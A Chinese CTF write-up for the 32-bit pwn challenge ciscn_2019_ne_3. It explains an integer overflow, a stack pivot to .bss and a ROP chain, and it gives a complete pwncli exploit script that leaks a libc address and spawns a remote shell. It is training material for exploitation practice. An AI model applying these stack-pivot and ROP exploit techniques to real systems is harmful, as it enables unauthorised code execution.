ciscn_2019_ne_3

总结

一道很无语的rop的题目,由于在puts调用中会卡在[ebp - 0x46c]这样的语句,所以只能把栈往抬高,避免访问到不可写的内存区域。

  • 如果题目给的rop很短,那么需要想办法调用read写入更长的rop
  • 必要的时候需要把栈抬高,避免在函数调用过程中,让不可写的内存写入了东西,直接core dump
  • call的时候会放置下一条指令到esp,但如果直接覆写了esp,那么还是可以继续劫持程序流

题目分析

checksec

很久没碰到32位的题目了,环境为libc-2.27.so

image-20210912160406760

函数分析

最开始的时候,IDA无法识别函数。只需要在__printf_chk这个函数上按下Y,修改函数签名为int __printf_chk(int, const char*, ...);即可

流程很简单,先往bss段上写数据,然后有整数溢出和栈溢出:

image-20210912160631922

image-20210912160709015

刚开始以为是很简单的栈溢出,后来瞅了眼main函数退出的时候的汇编,发现栈直接被改变了:

image-20210912160859021

这里的esp来自于ecx,而ecx可控。没有地址泄露,所以只能往bss段搞栈迁移。

所以一开始直接准备:

  • puts泄露地址
  • 重新执行main
  • 再次rop执行system(/bin/sh)

然而事情,并没有那么简单,在调用puts的时候,由于栈太低了,会往更低处的不可写的区域赋值,程序直接GG。然后想改成__printf_chk,也遇到了类似的问题。

所以只能找一下read函数,然后重新写一段长的rop,并把栈抬到高处,再进行泄露和利用。

在输入passwd长度的时候,只能写入0x10个字节。去掉要转化为负数的-1\x00\x00,只剩12个字节可以操作。如果直接rop,由于read3个参数,所以至少需要0x14的大小,很显然这里不够。所以只能利用程序中的call read这样的汇编执令来缩小rop的长度。

我们必须要控制的参数有read的第二个和第三个参数,指明往bss段写和写的大小。那么第一个参数fd就没法控制,好在程序中就有,如下图:

image-20210912161735548

有一个push 0,省了不少事情。

因此,最终的解题思路为:

  • 将栈迁移到bss

  • ropbuf区域写更长的rop

  • 将栈抬高

  • 执行puts泄露地址

  • 再次执行read读入rop

  • 执行system(/bin/sh)

这里还是不能回到main函数,还是会出现往非法内存区域写入的操作。索性直接再次读入rop,然后刚好esp也在bss段上,所以可控制执行system(/bin/sh)

Exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = ELF('libc-2.27-32bit.so')

"""
输入负数即可绕过校验
之后进行rop
"""
buffer_addr = 0x0804A060
puts_addr = 0x8048490
puts_got_addr = 0x804A01C
main_addr = 0x80486ea

read_addr = 0x8048460

p.sendafter("Now, Challenger, What's name?\n:", "aaaaaa")
p.sendafter("Please set the length of password: ", b"-1\x00\x00"+p32(0x8048793)+p32(buffer_addr)+p32(0xf00))

p.sendlineafter(":", flat("a"*72, 
buffer_addr+8, # ecx
0, #ebx
0, # edi
buffer_addr + 0xf00, # ebp
))

sleep(1)
payload = flat({
    0:[0x080487B3, buffer_addr+0x500, 0, 0, buffer_addr+0xf00],
    0x500-4: [puts_addr, 0x08048431, puts_got_addr, read_addr, 0, 0, buffer_addr, 0xf00]
}, filler="\x00")

p.send(payload)

msg = p.recvuntil("\xf7")

libc_base_addr = u32(msg[-4:]) - libc.sym['puts']
log_libc_base_addr(libc_base_addr)
libc.address = libc_base_addr

sleep(1)

p.send(flat("/bin/sh\x00", cyclic(0x4ec-8), libc.sym['system'], 0, buffer_addr))

p.interactive()

栈迁移:

image-20210912162318146

泄露地址:

image-20210912162424638

第二次read

image-20210912162453753

shell

image-20210912162712826

远程打:

image-20210912162150712

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%